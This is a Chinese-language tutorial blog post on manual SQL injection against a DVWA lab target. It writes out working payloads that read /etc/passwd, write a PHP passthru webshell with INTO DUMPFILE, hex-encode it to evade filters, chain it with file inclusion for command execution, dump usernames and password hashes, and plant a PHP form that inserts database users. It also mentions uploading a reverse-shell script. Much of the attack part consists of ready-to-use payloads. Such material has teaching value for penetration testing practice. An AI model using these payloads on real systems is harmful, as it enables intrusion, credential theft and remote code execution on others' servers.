1. 程式人生 > >Kali學習筆記40:SQL手工註入(2)

Kali學習筆記40:SQL手工註入(2)

set 找到 Suite 雙引號 127.0.0.1 但是 int ava 成功

上一篇講到可以通過註入得到數據庫中所有的表信息

而SQL註入能不能做數據庫之外的事情呢?

讀取文件:

‘ union select null,load_file(‘/etc/passwd‘) --

技術分享圖片

為了方便進行測試,後邊我使用Burpsuite

既然可以讀取文件了,那麽也就可以寫文件:比如經典的PHP一句話

‘ union select null,"<?php passthru($_GET[‘cmd‘]);?>" INTO DUMPFILE "/var/www/a.php" --

技術分享圖片

結果是無法寫入文件,這是什麽原因呢?

我猜測是目錄權限的問題

於是去掉/var/www

‘ union select null,"<?php passthru($_GET[‘cmd‘]);?>" INTO DUMPFILE ‘a.php‘ --

技術分享圖片

成功,所以得出應該是目錄問題

首先我們看一下上傳成功的文件在哪個目錄:

技術分享圖片

發現在/var/lib/mysql/dvwa下存放

技術分享圖片

查看後發現屬主和屬組是Mysql,其他用戶無法訪問,甚至mysql組其他用戶都沒有權限

然後我們以root的身份進入dvwa目錄查看a.php

技術分享圖片

那麽我們就沒有辦法把這一句話PHP文件寫入到指定位置了嗎?

我們可以結合以前提到的文件包含漏洞,寫入通用目錄/tmp/,最終達到命令執行

實現:

寫入:註意這裏的單雙引號

‘ union select null,"<?php passthru($_GET[‘cmd‘]);?>" INTO DUMPFILE "/tmp/a.php" --

然後利用文件包含漏洞:

技術分享圖片

最終成功!

所以SQL註入寫文件,是以mysql用戶寫入的,所以可以采用中間目錄的方法,然後結合其他漏洞完成命令執行

如果目標系統管理員的權限配置不當,那麽只要能夠SQL註入,就可以直接拿到shell

既然可以上傳一句話PHP,那麽也可以上傳反彈連接PHP腳本

找到Kali自帶的PHP反彈連接腳本,重命名為b.php,利用xxd轉換為十六進制

由於服務器通常會過濾<?以及換行符,我們再使用tr去除換行符

技術分享圖片

得到一堆16進制,復制出來,替換位置(1)

‘ union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" --

發送之後,理論上會成功,但是由於URL過長,報錯

技術分享圖片

可以換一個小木馬,甚至就使用剛才的a.php

‘%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20

進行URL編碼後就是上邊的結果:註意(0x之前必須加一個空格

技術分享圖片

在metasploitable中查到了,實際上就是剛才的a.php內容,但是我們使用十六進制編碼繞過了過濾

驗證命令執行:

技術分享圖片

成功!

有時候,數據庫的內容太多,我們不可以在一個頁面中觀看

所以考慮如何直接把數據庫下載下來

‘ union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" --

查看:

技術分享圖片

擴展:一個思路

我們甚至可以直接給目標開發一個功能:自定義一個表單,輸入信息,然後在數據庫插入信息

 ‘ union select null,‘<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
><br> <input type="text" name="first_name"><br> <input type="text" name="last_name"><br> <input type="text" name="username"><br> <input type="text" name="avatar"><br> <input type="submit" name="submit" value="Submit Form"><br> </form>‘ INTO DUMPFILE "/tmp/user.php" --

然後利用文件包含漏洞,即可利用

這種方式實際上並沒有成功,不過可以作為一個思路

Kali學習筆記40:SQL手工註入(2)